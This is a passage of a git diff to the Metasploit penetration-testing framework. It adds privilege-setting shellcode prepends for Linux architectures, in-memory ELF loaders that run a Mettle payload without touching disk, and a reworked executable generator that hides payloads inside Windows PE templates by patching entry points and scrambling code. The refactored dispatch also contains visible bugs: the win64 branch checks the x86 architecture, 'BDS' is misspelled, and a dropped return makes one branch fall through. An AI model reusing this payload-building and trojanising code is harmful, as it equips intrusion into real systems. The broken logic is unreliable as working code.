0x65732f63 + 0x662f666c, # .word 0x662f666c + 0x2f2f2f64, # sltiu t7,t9,12132 + 0x2f2f2f2f, # sltiu t7,t9,12079 + 0x002f2f2f # .word 0x2f2f2f + ].pack('V*') + in_memory_loader + end +end diff --git a/lib/msf/core/payload/linux/mipsle/prepends.rb b/lib/msf/core/payload/linux/mipsle/prepends.rb new file mode 100644 index 0000000000000..44ef6a515908a --- /dev/null +++ b/lib/msf/core/payload/linux/mipsle/prepends.rb @@ -0,0 +1,22 @@ +# +# Linux mipsle prepends +# +module Msf::Payload::Linux::Mipsle::Prepends + include Msf::Payload::Linux::Prepends + + def prepends_order + %w[] + end + + def appends_order + %w[] + end + + def prepends_map + {} + end + + def appends_map + {} + end +end diff --git a/lib/msf/core/payload/linux/ppc64le/prepends.rb b/lib/msf/core/payload/linux/ppc64le/prepends.rb new file mode 100644 index 0000000000000..94e08121e1191 --- /dev/null +++ b/lib/msf/core/payload/linux/ppc64le/prepends.rb @@ -0,0 +1,76 @@ +# +# Linux ppc64le prepends +# +module Msf::Payload::Linux::Ppc64le::Prepends + include Msf::Payload::Linux::Prepends + + def prepends_order + %w[PrependSetresuid PrependSetreuid PrependSetuid PrependSetresgid PrependSetregid PrependSetgid] + end + + def appends_order + %w[AppendExit] + end + + def prepends_map + { + # 'PrependFork' => "", + + # setresuid(0, 0, 0) + 'PrependSetresuid' => "\x3b\xe0\x01\xff" + # li r31,511 # + "\x7c\xa5\x2a\x78" + # xor r5,r5,r5 # + "\x7c\x84\x22\x78" + # xor r4,r4,r4 # + "\x7c\x63\x1a\x78" + # xor r3,r3,r3 # + "\x38\x1f\xfe\xa5" + # addi r0,r31,-347 # + "\x44\xff\xff\x02", # sc # + + # setreuid(0, 0) + 'PrependSetreuid' => "\x3b\xe0\x01\xff" + # li r31,511 # + "\x7c\x84\x22\x78" + # xor r4,r4,r4 # + "\x7c\x63\x1a\x78" + # xor r3,r3,r3 # + "\x38\x1f\xfe\x47" + # addi r0,r31,-441 # + "\x44\xff\xff\x02", # sc # + + # setuid(0) + 'PrependSetuid' => "\x3b\xe0\x01\xff" + # li r31,511 # + "\x7c\x63\x1a\x78" + # xor r3,r3,r3 # + "\x38\x1f\xfe\x18" + # addi r0,r31,-488 # + "\x44\xff\xff\x02", # sc # + + # setresgid(0, 0, 0) + 'PrependSetresgid' => "\x3b\xe0\x01\xff" + # li r31,511 # + "\x7c\xa5\x2a\x78" + # xor r5,r5,r5 # + "\x7c\x84\x22\x78" + # xor r4,r4,r4 # + "\x7c\x63\x1a\x78" + # xor r3,r3,r3 # + "\x38\x1f\xfe\xab" + # addi r0,r31,-341 # + "\x44\xff\xff\x02", # sc # + + # setregid(0, 0) + 'PrependSetregid' => "\x3b\xe0\x01\xff" + # li r31,511 # + "\x7c\x84\x22\x78" + # xor r4,r4,r4 # + "\x7c\x63\x1a\x78" + # xor r3,r3,r3 # + "\x38\x1f\xfe\x48" + # addi r0,r31,-440 # + "\x44\xff\xff\x02", # sc # + + # setgid(0) + 'PrependSetgid' => "\x3b\xe0\x01\xff" + # li r31,511 # + "\x7c\x63\x1a\x78" + # xor r3,r3,r3 # + "\x38\x1f\xfe\x2f" + # addi r0,r31,-465 # + "\x44\xff\xff\x02" # sc # + + # setreuid(0, 0) = break chroot + # 'PrependChrootBreak' => + } + end + + def appends_map + { + # exit(0) + 'AppendExit' => "\x3b\xe0\x01\xff" + # li r31,511 # + "\x7c\x63\x1a\x78" + # xor r3,r3,r3 # + "\x38\x1f\xfe\x02" + # addi r0,r31,-510 # + "\x44\xff\xff\x02" # sc # + } + end + +end diff --git a/lib/msf/core/payload/linux/ppce500v2/prepends.rb b/lib/msf/core/payload/linux/ppce500v2/prepends.rb new file mode 100644 index 0000000000000..588c9ebfffd45 --- /dev/null +++ b/lib/msf/core/payload/linux/ppce500v2/prepends.rb @@ -0,0 +1,75 @@ +# +# Linux ppce500v2 prepends +# +module Msf::Payload::Linux::Ppce500v2::Prepends + include Msf::Payload::Linux::Prepends + + def prepends_order + %w[PrependSetresuid PrependSetreuid PrependSetuid PrependSetresgid PrependSetregid PrependSetgid] + end + + def appends_order + %w[AppendExit] + end + + def prepends_map + { + # 'PrependFork' => "", + + # setresuid(0, 0, 0) + 'PrependSetresuid' => "\x3b\xe0\x01\xff" + # li r31,511 # + "\x7c\xa5\x2a\x78" + # xor r5,r5,r5 # + "\x7c\x84\x22\x78" + # xor r4,r4,r4 # + "\x7c\x63\x1a\x78" + # xor r3,r3,r3 # + "\x38\x1f\xfe\xa5" + # addi r0,r31,-347 # + "\x44\xff\xff\x02", # sc # + + # setreuid(0, 0) + 'PrependSetreuid' => "\x3b\xe0\x01\xff" + # li r31,511 # + "\x7c\x84\x22\x78" + # xor r4,r4,r4 # + "\x7c\x63\x1a\x78" + # xor r3,r3,r3 # + "\x38\x1f\xfe\x47" + # addi r0,r31,-441 # + "\x44\xff\xff\x02", # sc # + + # setuid(0) + 'PrependSetuid' => "\x3b\xe0\x01\xff" + # li r31,511 # + "\x7c\x63\x1a\x78" + # xor r3,r3,r3 # + "\x38\x1f\xfe\x18" + # addi r0,r31,-488 # + "\x44\xff\xff\x02", # sc # + + # setresgid(0, 0, 0) + 'PrependSetresgid' => "\x3b\xe0\x01\xff" + # li r31,511 # + "\x7c\xa5\x2a\x78" + # xor r5,r5,r5 # + "\x7c\x84\x22\x78" + # xor r4,r4,r4 # + "\x7c\x63\x1a\x78" + # xor r3,r3,r3 # + "\x38\x1f\xfe\xab" + # addi r0,r31,-341 # + "\x44\xff\xff\x02", # sc # + + # setregid(0, 0) + 'PrependSetregid' => "\x3b\xe0\x01\xff" + # li r31,511 # + "\x7c\x84\x22\x78" + # xor r4,r4,r4 # + "\x7c\x63\x1a\x78" + # xor r3,r3,r3 # + "\x38\x1f\xfe\x48" + # addi r0,r31,-440 # + "\x44\xff\xff\x02", # sc # + + # setgid(0) + 'PrependSetgid' => "\x3b\xe0\x01\xff" + # li r31,511 # + "\x7c\x63\x1a\x78" + # xor r3,r3,r3 # + "\x38\x1f\xfe\x2f" + # addi r0,r31,-465 # + "\x44\xff\xff\x02" # sc # + + # setreuid(0, 0) = break chroot + # 'PrependChrootBreak' => + } + end + + def appends_map + { + # exit(0) + 'AppendExit' => "\x3b\xe0\x01\xff" + # li r31,511 # + "\x7c\x63\x1a\x78" + # xor r3,r3,r3 # + "\x38\x1f\xfe\x02" + # addi r0,r31,-510 # + "\x44\xff\xff\x02" # sc # + } + end +end diff --git a/lib/msf/core/payload/linux/prepends.rb b/lib/msf/core/payload/linux/prepends.rb index 890d8700a5711..79d09d24d4d21 100644 --- a/lib/msf/core/payload/linux/prepends.rb +++ b/lib/msf/core/payload/linux/prepends.rb @@ -30,6 +30,7 @@ def register_prepend_options end def apply_prepends(buf) + ds = datastore pre = '' app = '' for name in prepends_order.each @@ -38,6 +39,9 @@ def apply_prepends(buf) for name in appends_order.each app << appends_map.fetch(name) if datastore[name] end + if ds['PayloadLinuxMinKernel'] == '2.6' && (!pre.empty? || !app.empty?) && !staged? + fail_with(Msf::Module::Failure::BadConfig, 'Prepend options only work with PayloadLinuxMinKernel = 3.17.') + end pre.force_encoding('ASCII-8BIT') + buf.force_encoding('ASCII-8BIT') + app.force_encoding('ASCII-8BIT') diff --git a/lib/msf/core/payload/linux/x64/elf_loader.rb b/lib/msf/core/payload/linux/x64/elf_loader.rb new file mode 100644 index 0000000000000..4c3637036d3d3 --- /dev/null +++ b/lib/msf/core/payload/linux/x64/elf_loader.rb @@ -0,0 +1,57 @@ +# +# In memory loader used to execute Mettle ELF file. +# Compatible with Kernel Linux >= 3.17 (where memfd_create is introduced) +# Author: Diego Ledda +# Resource and Credits: https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html +# +module Msf::Payload::Linux::X64::ElfLoader + def in_memory_load(payload) + in_memory_loader_asm = %^ + start: + xor rsi, rsi + push rsi + lea rdi, [rsp] + inc rsi + mov rax, 0x13F + syscall ; memfd_create("", MFD_CLOEXEC); + mov rdi, rax + jmp get_payload + got_payload: + pop rsi + mov rdx, #{payload.length} + xor rax, rax + inc rax + syscall ; write(fd, elfbuffer, elfbuffer_len); + jmp get_command + got_command: + pop rbx + mov rcx, 18 + mov rax, rdi + itoa: + test rax, rax + jz execve + mov rdx, 10 + div dl + mov rdx, rax + shr rdx, 8 + and rax, 255 + add rdx, 48 + mov byte [rbx + rcx], dl + dec rcx + jmp itoa + execve: + mov rdi, rbx + xor rdx, rdx + xor rsi, rsi + mov eax, 0x3b + syscall ; execve("/proc/self/fd/", NULL, NULL); + get_command: + call got_command + db "/proc/self/fd//////", 0x00 + get_payload: + call got_payload + ^ + in_memory_loader = Metasm::Shellcode.assemble(Metasm::X64.new, in_memory_loader_asm).encode_string + in_memory_loader + end +end diff --git a/lib/msf/core/payload/linux/x86/elf_loader.rb b/lib/msf/core/payload/linux/x86/elf_loader.rb new file mode 100644 index 0000000000000..dd5122bd86ce7 --- /dev/null +++ b/lib/msf/core/payload/linux/x86/elf_loader.rb @@ -0,0 +1,56 @@ +# +# In memory loader used to execute Mettle ELF file. +# Compatible with Kernel Linux >= 3.17 (where memfd_create is introduced) +# Author: Diego Ledda +# Resource and Credits: https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html +# +module Msf::Payload::Linux::X86::ElfLoader + def in_memory_load(payload) + in_memory_loader_asm = %^ + start: + xor ecx, ecx + push ecx + lea ebx, [esp] + inc ecx + mov eax, 0x164 + int 0x80 ; memfd_create("", MFD_CLOEXEC); + mov ebx, eax + jmp get_payload + got_payload: + pop ecx + mov edx, #{payload.length} + mov esi, eax + mov eax, 0x4 + int 0x80 ; write(fd, elfbuffer, elfbuffer_len); + jmp get_command + got_command: + pop ebx + mov ecx, 18 + mov eax, esi + itoa: + test eax, eax + jz execve + mov edx, 10 + div dl + mov edx, eax + shr edx, 8 + and eax, 255 + add edx, 48 + mov byte [ebx + ecx], dl + dec ecx + jmp itoa + execve: + xor ecx, ecx + xor edx, edx + mov eax, 0xb + int 0x080 ; execve("/proc/self/fd/", NULL, NULL); + get_command: + call got_command + db "/proc/self/fd//////", 0x00 + get_payload: + call got_payload + ^ + in_memory_loader = Metasm::Shellcode.assemble(Metasm::X86.new, in_memory_loader_asm).encode_string + in_memory_loader + end +end diff --git a/lib/msf/core/payload/linux/zarch/prepends.rb b/lib/msf/core/payload/linux/zarch/prepends.rb new file mode 100644 index 0000000000000..579587c2559a4 --- /dev/null +++ b/lib/msf/core/payload/linux/zarch/prepends.rb @@ -0,0 +1,24 @@ +# +# Linux zarch prepends +# +module Msf::Payload::Linux::Zarch::Prepends + include Msf::Payload::Linux::Prepends + + def prepends_order + %w[] + end + + def appends_order + %w[] + end + + def prepends_map + { + } + end + + def appends_map + { + } + end +end diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 0eaa37d0f42a6..44718320d1639 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -1,629 +1,533 @@ # -*- coding: binary -*- module Msf -module Util -# -# The class provides methods for creating and encoding executable file -# formats for various platforms. It is a replacement for the previous -# code in Rex::Text -# - -class EXE - -require 'rex' -require 'rex/peparsey' -require 'rex/pescan' -require 'rex/random_identifier' -require 'rex/zip' -require 'rex/powershell' -require 'metasm' -require 'digest/sha1' -# Generates a default template - # - # @param opts [Hash] The options hash - # @option opts [String] :template, the template type for the executable - # @option opts [String] :template_path, the path for the template - # @option opts [Bool] :fallback, If there are no options set, default options will be used - # @param exe [String] Template type. If undefined, will use the default. - # @param path [String] Where you would like the template to be saved. - def self.set_template_default(opts, exe = nil, path = nil) - # If no path specified, use the default one - path ||= File.join(Msf::Config.data_directory, "templates") - - # If there's no default name, we must blow it up. - unless exe - raise RuntimeError, 'Ack! Msf::Util::EXE.set_template_default called ' + - 'without default exe name!' - end - - # Use defaults only if nothing is specified - opts[:template_path] ||= path - opts[:template] ||= exe - - # Only use the path when the filename contains no separators. - unless opts[:template].include?(File::SEPARATOR) - opts[:template] = File.join(opts[:template_path], opts[:template]) - end - - # Check if it exists now - return if File.file?(opts[:template]) - # If it failed, try the default... - if opts[:fallback] - default_template = File.join(path, exe) - if File.file?(default_template) - # Perhaps we should warn about falling back to the default? - opts.merge!({ :fellback => default_template }) - opts[:template] = default_template - end - end - end - - # self.read_replace_script_template - # - # @param filename [String] Name of the file - # @param hash_sub [Hash] - def self.read_replace_script_template(filename, hash_sub) - template_pathname = File.join(Msf::Config.data_directory, "templates", - "scripts", filename) - template = '' - File.open(template_pathname, "rb") {|f| template = f.read} - template % hash_sub - end - - - # Generates a ZIP file. - # - # @param files [Array] Items to compress. Each item is a hash that supports these options: - # * :data - The content of the file. - # * :fname - The file path in the ZIP file - # * :comment - A comment - # @example Compressing two files, one in a folder called 'test' - # Msf::Util::EXE.to_zip([{data: 'AAAA', fname: "file1.txt"}, {data: 'data', fname: 'test/file2.txt'}]) - # @return [String] - def self.to_zip(files) - zip = Rex::Zip::Archive.new - - files.each do |f| - data = f[:data] - fname = f[:fname] - comment = f[:comment] || '' - zip.add_file(fname, data, comment) - end - - zip.pack - end - - # Executable generators - # - # @param arch [Array] The architecture of the system (i.e :x86, :x64) - # @param plat [String] The platform (i.e Linux, Windows, OSX) - # @param code [String] - # @param opts [Hash] The options hash - # @param framework [Msf::Framework] The framework of you want to use - # @return [String] - # @return [NilClass] - def self.to_executable(framework, arch, plat, code = '', opts = {}) - if elf? code or macho? code - return code - end - - if arch.index(ARCH_X86) - - if plat.index(Msf::Module::Platform::Windows) - return to_win32pe(framework, code, opts) - end - - if plat.index(Msf::Module::Platform::Linux) - return to_linux_x86_elf(framework, code) - end - - if plat.index(Msf::Module::Platform::OSX) - return to_osx_x86_macho(framework, code) - end - - if plat.index(Msf::Module::Platform::BSD) - return to_bsd_x86_elf(framework, code) - end - - if plat.index(Msf::Module::Platform::Solaris) - return to_solaris_x86_elf(framework, code) - end - - # XXX: Add remaining x86 systems here - end - - if arch.index(ARCH_X64) - if (plat.index(Msf::Module::Platform::Windows)) - return to_win64pe(framework, code, opts) - end - - if plat.index(Msf::Module::Platform::Linux) - return to_linux_x64_elf(framework, code, opts) - end - - if plat.index(Msf::Module::Platform::OSX) - return to_osx_x64_macho(framework, code) - end - - if plat.index(Msf::Module::Platform::BSD) - return to_bsd_x64_elf(framework, code) - end - end - - if arch.index(ARCH_ARMLE) - if plat.index(Msf::Module::Platform::OSX) - return to_osx_arm_macho(framework, code) - end - - if plat.index(Msf::Module::Platform::Linux) - return to_linux_armle_elf(framework, code) - end - - # XXX: Add remaining ARMLE systems here - end - - if arch.index(ARCH_AARCH64) - if plat.index(Msf::Module::Platform::Linux) - return to_linux_aarch64_elf(framework, code) - end + module Util + # + # The class provides methods for creating and encoding executable file + # formats for various platforms. It is a replacement for the previous + # code in Rex::Text + # + + class EXE + + require 'rex' + require 'rex/peparsey' + require 'rex/pescan' + require 'rex/random_identifier' + require 'rex/zip' + require 'rex/powershell' + require 'metasm' + require 'digest/sha1' + # Generates a default template + # + # @param opts [Hash] The options hash + # @option opts [String] :template, the template type for the executable + # @option opts [String] :template_path, the path for the template + # @option opts [Bool] :fallback, If there are no options set, default options will be used + # @param exe [String] Template type. If undefined, will use the default. + # @param path [String] Where you would like the template to be saved. + def self.set_template_default(opts, exe = nil, path = nil) + # If no path specified, use the default one + path ||= File.join(Msf::Config.data_directory, 'templates') + + # If there's no default name, we must blow it up. + unless exe + raise 'Ack! Msf::Util::EXE.set_template_default called ' + + 'without default exe name!'.to_s + end - if plat.index(Msf::Module::Platform::OSX) - return to_osx_aarch64_macho(framework, code) - end + # Use defaults only if nothing is specified + opts[:template_path] ||= path + opts[:template] ||= exe - # XXX: Add remaining AARCH64 systems here - end + # Only use the path when the filename contains no separators. + unless opts[:template].include?(File::SEPARATOR) + opts[:template] = File.join(opts[:template_path], opts[:template]) + end - if arch.index(ARCH_PPC) - if plat.index(Msf::Module::Platform::OSX) - return to_osx_ppc_macho(framework, code) + # Check if it exists now + return if File.file?(opts[:template]) + + # If it failed, try the default... + if opts[:fallback] + default_template = File.join(path, exe) + if File.file?(default_template) + # Perhaps we should warn about falling back to the default? + opts.merge!({ fellback: default_template }) + opts[:template] = default_template + end + end end - # XXX: Add PPC OS X and Linux here - end - if arch.index(ARCH_MIPSLE) - if plat.index(Msf::Module::Platform::Linux) - return to_linux_mipsle_elf(framework, code) + # self.read_replace_script_template + # + # @param filename [String] Name of the file + # @param hash_sub [Hash] + def self.read_replace_script_template(filename, hash_sub) + template_pathname = File.join(Msf::Config.data_directory, 'templates', + 'scripts', filename) + template = '' + File.open(template_pathname, 'rb') { |f| template = f.read } + template % hash_sub end - # XXX: Add remaining MIPSLE systems here - end - if arch.index(ARCH_MIPSBE) - if plat.index(Msf::Module::Platform::Linux) - return to_linux_mipsbe_elf(framework, code) - end - # XXX: Add remaining MIPSLE systems here - end + # Generates a ZIP file. + # + # @param files [Array] Items to compress. Each item is a hash that supports these options: + # * :data - The content of the file. + # * :fname - The file path in the ZIP file + # * :comment - A comment + # @example Compressing two files, one in a folder called 'test' + # Msf::Util::EXE.to_zip([{data: 'AAAA', fname: "file1.txt"}, {data: 'data', fname: 'test/file2.txt'}]) + # @return [String] + def self.to_zip(files) + zip = Rex::Zip::Archive.new + + files.each do |f| + data = f[:data] + fname = f[:fname] + comment = f[:comment] || '' + zip.add_file(fname, data, comment) + end - if arch.index(ARCH_RISCV32LE) - if plat.index(Msf::Module::Platform::Linux) - return to_linux_riscv32le_elf(framework, code) + zip.pack end - # TODO: Add remaining RISCV32LE systems here - end - if arch.index(ARCH_RISCV64LE) - if plat.index(Msf::Module::Platform::Linux) - return to_linux_riscv64le_elf(framework, code) + # Executable generators + # + # @param arch [Array] The architecture of the system (i.e :x86, :x64) + # @param plat [String] The platform (i.e Linux, Windows, OSX) + # @param code [String] + # @param opts [Hash] The options hash + # @param framework [Msf::Framework] The framework of you want to use + # @return [String] + # @return [NilClass] + def self.to_executable(framework, arch, plat, code = '', opts = {}) + # This code handles mettle stageless when LinuxMinKernel is 2.4+ because the code will be a elf or macho. + if elf?(code) || macho?(code) + return code + end + + if plat.index(Msf::Module::Platform::Windows) + return to_win32pe(framework, code, opts) if arch.index(ARCH_X86) + return to_win64pe(framework, code, opts) if arch.index(ARCH_X86) + elsif plat.index(Msf::Module::Platform::Linux) + return to_linux_armle_elf(framework, code, opts) if arch.index(ARCH_ARMLE) + return to_linux_armbe_elf(framework, code, opts) if arch.index(ARCH_ARMBE) + return to_linux_aarch64_elf(framework, code, opts) if arch.index(ARCH_AARCH64) + return to_linux_mipsbe_elf(framework, code, opts) if arch.index(ARCH_MIPSBE) + return to_linux_mipsle_elf(framework, code, opts) if arch.index(ARCH_MIPSLE) + return to_linux_mips64_elf(framework, code, opts) if arch.index(ARCH_MIPS64) + return to_linux_ppc_elf(framework, code, opts) if arch.index(ARCH_PPC) + return to_linux_ppc64le_elf(framework, code, opts) if arch.index(ARCH_PPC64LE) + return to_linux_ppce500v2_elf(framework, code, opts) if arch.index(ARCH_PPCE500V2) + return to_linux_riscv32le_elf(framework, code, opts) if arch.index(ARCH_RISCV32LE) + return to_linux_riscv64le_elf(framework, code, opts) if arch.index(ARCH_RISCV64LE) + return to_linux_x86_elf(framework, code, opts) if arch.index(ARCH_X86) + return to_linux_x64_elf(framework, code, opts) if arch.index(ARCH_X64) + return to_linux_zarch_elf(framework, code, opts) if arch.index(ARCH_ZARCH) + return to_linux_loongarch64_elf(framework, code, opts) if arch.index(ARCH_LOONGARCH64) + elsif plat.index(Msf::Module::Platform::OSX) + return to_osx_arm_macho(framework, code, opts) if arch.index(ARCH_ARMLE) + return to_osx_aarch64_macho(framework, code, opts) if arch.index(ARCH_AARCH64) + return to_osx_ppc_macho(framework, code, opts) if arch.index(ARCH_PPC) + return to_osx_x86_macho(framework, code, opts) if arch.index(ARCH_X86) + return to_osx_x64_macho(framework, code, opts) if arch.index(ARCH_X64) + elsif plat.index(Msf::Module::Platform::BDS) + return to_bsd_x86_elf(framework, code, opts) if arch.index(ARCH_X86) + return to_bsd_x64_elf(framework, code, opts) if arch.index(ARCH_X64) + elsif plat.index(Msf::Module::Platform::Solaris) + return to_solaris_x86_elf(framework, code, opts) if arch.index(ARCH_X86) + end + nil end - # TODO: Add remaining RISCV64LE systems here - end - if arch.index(ARCH_LOONGARCH64) - if plat.index(Msf::Module::Platform::Linux) - return to_linux_loongarch64_elf(framework, code) + # Clears the DYNAMIC_BASE flag for a Windows executable + # + # @param exe [String] The raw executable to be modified by the method + # @param pe [Rex::PeParsey::Pe] Use Rex::PeParsey::Pe.new_from_file + # @return [String] the modified executable + def self.clear_dynamic_base(exe, pe) + c_bits = ('%32d' % pe.hdr.opt.DllCharacteristics.to_s(2)).split('').map(&:to_i).reverse + c_bits[6] = 0 # DYNAMIC_BASE + new_dllcharacteristics = c_bits.reverse.join.to_i(2) + + # PE Header Pointer offset = 60d + # SizeOfOptionalHeader offset = 94h + dll_ch_offset = exe[60, 4].unpack('h4')[0].reverse.hex + 94 + exe[dll_ch_offset, 2] = [new_dllcharacteristics].pack('v') + exe end - # TODO: Add remaining LOONGARCH64 systems here - end - nil - end - - # Clears the DYNAMIC_BASE flag for a Windows executable - # - # @param exe [String] The raw executable to be modified by the method - # @param pe [Rex::PeParsey::Pe] Use Rex::PeParsey::Pe.new_from_file - # @return [String] the modified executable - def self.clear_dynamic_base(exe, pe) - c_bits = ("%32d" %pe.hdr.opt.DllCharacteristics.to_s(2)).split('').map { |e| e.to_i }.reverse - c_bits[6] = 0 # DYNAMIC_BASE - new_dllcharacteristics = c_bits.reverse.join.to_i(2) - - # PE Header Pointer offset = 60d - # SizeOfOptionalHeader offset = 94h - dll_ch_offset = exe[60, 4].unpack('h4')[0].reverse.hex + 94 - exe[dll_ch_offset, 2] = [new_dllcharacteristics].pack("v") - exe - end - - # self.to_win32pe - # - # @param framework [Msf::Framework] - # @param code [String] - # @param opts [Hash] - # @option opts [String] :sub_method - # @option opts [String] :inject, Code to inject into the exe - # @option opts [String] :template - # @option opts [Symbol] :arch, Set to :x86 by default - # @return [String] - def self.to_win32pe(framework, code, opts = {}) - - # For backward compatibility, this is roughly equivalent to 'exe-small' fmt - if opts[:sub_method] - if opts[:inject] - raise RuntimeError, 'NOTE: using the substitution method means no inject support' - end + # self.to_win32pe + # + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option opts [String] :sub_method + # @option opts [String] :inject, Code to inject into the exe + # @option opts [String] :template + # @option opts [Symbol] :arch, Set to :x86 by default + # @return [String] + def self.to_win32pe(framework, code, opts = {}) + # For backward compatibility, this is roughly equivalent to 'exe-small' fmt + if opts[:sub_method] + if opts[:inject] + raise 'NOTE: using the substitution method means no inject support' + end # use - return self.to_win32pe_exe_sub(framework, code, opts) + self.to_win32pe_exe_sub(framework, code, opts) end - # Allow the user to specify their own EXE template - set_template_default(opts, "template_x86_windows.exe") + # Allow the user to specify their own EXE template + set_template_default(opts, 'template_x86_windows.exe') - # Copy the code to a new RWX segment to allow for self-modifying encoders - payload = win32_rwx_exec(code) - - # Create a new PE object and run through sanity checks - pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true) - - #try to inject code into executable by adding a section without affecting executable behavior - if opts[:inject] - injector = Msf::Exe::SegmentInjector.new({ - :payload => code, - :template => opts[:template], - :arch => :x86, - :secname => opts[:secname] - }) - return injector.generate_pe - end + # Copy the code to a new RWX segment to allow for self-modifying encoders + payload = win32_rwx_exec(code) - text = nil - pe.sections.each {|sec| text = sec if sec.name == ".text"} + # Create a new PE object and run through sanity checks + pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true) - raise RuntimeError, "No .text section found in the template" unless text + # try to inject code into executable by adding a section without affecting executable behavior + if opts[:inject] + injector = Msf::Exe::SegmentInjector.new({ + payload: code, + template: opts[:template], + arch: :x86, + secname: opts[:secname] + }) + return injector.generate_pe + end - unless text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint) - raise RuntimeError, "The .text section does not contain an entry point" - end + text = nil + pe.sections.each { |sec| text = sec if sec.name == '.text' } - p_length = payload.length + 256 - - # If the .text section is too small, append a new section instead - if text.size < p_length - appender = Msf::Exe::SegmentAppender.new({ - :payload => code, - :template => opts[:template], - :arch => :x86, - :secname => opts[:secname] - }) - return appender.generate_pe - end + raise 'No .text section found in the template' unless text - # Store some useful offsets - off_ent = pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint) - off_beg = pe.rva_to_file_offset(text.base_rva) - - # We need to make sure our injected code doesn't conflict with the - # the data directories stored in .text (import, export, etc) - mines = [] - pe.hdr.opt['DataDirectory'].each do |dir| - next if dir.v['Size'] == 0 - next unless text.contains_rva?(dir.v['VirtualAddress']) - delta = pe.rva_to_file_offset(dir.v['VirtualAddress']) - off_beg - mines << [delta, dir.v['Size']] - end - - # Break the text segment into contiguous blocks - blocks = [] - bidx = 0 - mines.sort{|a,b| a[0] <=> b[0]}.each do |mine| - bbeg = bidx - bend = mine[0] - blocks << [bidx, bend-bidx] if bbeg != bend - bidx = mine[0] + mine[1] - end + unless text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint) + raise 'The .text section does not contain an entry point' + end - # Add the ending block - blocks << [bidx, text.size - bidx] if bidx < text.size - 1 + p_length = payload.length + 256 + + # If the .text section is too small, append a new section instead + if text.size < p_length + appender = Msf::Exe::SegmentAppender.new({ + payload: code, + template: opts[:template], + arch: :x86, + secname: opts[:secname] + }) + return appender.generate_pe + end - # Find the largest contiguous block - blocks.sort!{|a,b| b[1]<=>a[1]} - block = blocks.first + # Store some useful offsets + pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint) + off_beg = pe.rva_to_file_offset(text.base_rva) - # TODO: Allow the entry point in a different block - if payload.length + 256 >= block[1] - raise RuntimeError, "The largest block in .text does not have enough contiguous space (need:#{payload.length+257} found:#{block[1]})" - end + # We need to make sure our injected code doesn't conflict with the + # the data directories stored in .text (import, export, etc) + mines = [] + pe.hdr.opt['DataDirectory'].each do |dir| + next if dir.v['Size'] == 0 + next unless text.contains_rva?(dir.v['VirtualAddress']) - # Make a copy of the entire .text section - data = text.read(0,text.size) + delta = pe.rva_to_file_offset(dir.v['VirtualAddress']) - off_beg + mines << [delta, dir.v['Size']] + end - # Pick a random offset to store the payload - poff = rand(block[1] - payload.length - 256) + # Break the text segment into contiguous blocks + blocks = [] + bidx = 0 + mines.sort { |a, b| a[0] <=> b[0] }.each do |mine| + bbeg = bidx + bend = mine[0] + blocks << [bidx, bend - bidx] if bbeg != bend + bidx = mine[0] + mine[1] + end - # Flip a coin to determine if EP is before or after - eloc = rand(2) - eidx = nil + # Add the ending block + blocks << [bidx, text.size - bidx] if bidx < text.size - 1 - # Pad the entry point with random nops - entry = generate_nops(framework, [ARCH_X86], rand(200) + 51) + # Find the largest contiguous block + blocks.sort! { |a, b| b[1] <=> a[1] } + block = blocks.first - # Pick an offset to store the new entry point - if eloc == 0 # place the entry point before the payload - poff += 256 - eidx = rand(poff-(entry.length + 5)) - else # place the entry pointer after the payload - poff -= [256, poff].min - eidx = rand(block[1] - (poff + payload.length + 256)) + poff + payload.length - end + # TODO: Allow the entry point in a different block + if payload.length + 256 >= block[1] + raise "The largest block in .text does not have enough contiguous space (need:#{payload.length + 257} found:#{block[1]})" + end - # Relative jump from the end of the nops to the payload - entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V') + # Make a copy of the entire .text section + data = text.read(0, text.size) - # Mangle 25% of the original executable - 1.upto(block[1] / 4) do - data[ block[0] + rand(block[1]), 1] = [rand(0x100)].pack("C") - end + # Pick a random offset to store the payload + poff = rand(block[1] - payload.length - 256) - # Patch the payload and the new entry point into the .text - data[block[0] + poff, payload.length] = payload - data[block[0] + eidx, entry.length] = entry + # Flip a coin to determine if EP is before or after + eloc = rand(2) + eidx = nil - # Create the modified version of the input executable - exe = '' - File.open(opts[:template], 'rb') {|fd| exe = fd.read(fd.stat.size)} + # Pad the entry point with random nops + entry = generate_nops(framework, [ARCH_X86], rand(51..250)) - a = [text.base_rva + block.first + eidx].pack("V") - exe[exe.index([pe.hdr.opt.AddressOfEntryPoint].pack('V')), 4] = a - exe[off_beg, data.length] = data + # Pick an offset to store the new entry point + if eloc == 0 # place the entry point before the payload + poff += 256 + eidx = rand(poff - (entry.length + 5)) + else # place the entry pointer after the payload + poff -= [256, poff].min + eidx = rand(block[1] - (poff + payload.length + 256)) + poff + payload.length + end - tds = pe.hdr.file.TimeDateStamp - exe[exe.index([tds].pack('V')), 4] = [tds - rand(0x1000000)].pack("V") + # Relative jump from the end of the nops to the payload + entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V') - cks = pe.hdr.opt.CheckSum - unless cks == 0 - exe[exe.index([cks].pack('V')), 4] = [0].pack("V") - end + # Mangle 25% of the original executable + 1.upto(block[1] / 4) do + data[block[0] + rand(block[1]), 1] = [rand(0x100)].pack('C') + end - exe = clear_dynamic_base(exe, pe) - pe.close + # Patch the payload and the new entry point into the .text + data[block[0] + poff, payload.length] = payload + data[block[0] + eidx, entry.length] = entry - exe - end + # Create the modified version of the input executable + exe = '' + File.open(opts[:template], 'rb') { |fd| exe = fd.read(fd.stat.size) } - # self.to_winpe_only - # - # @param framework [Msf::Framework] The framework of you want to use - # @param code [String] - # @param opts [Hash] - # @param arch [String] Default is "x86" - def self.to_winpe_only(framework, code, opts = {}, arch=ARCH_X86) + a = [text.base_rva + block.first + eidx].pack('V') + exe[exe.index([pe.hdr.opt.AddressOfEntryPoint].pack('V')), 4] = a + exe[off_beg, data.length] = data - # Allow the user to specify their own EXE template - set_template_default(opts, 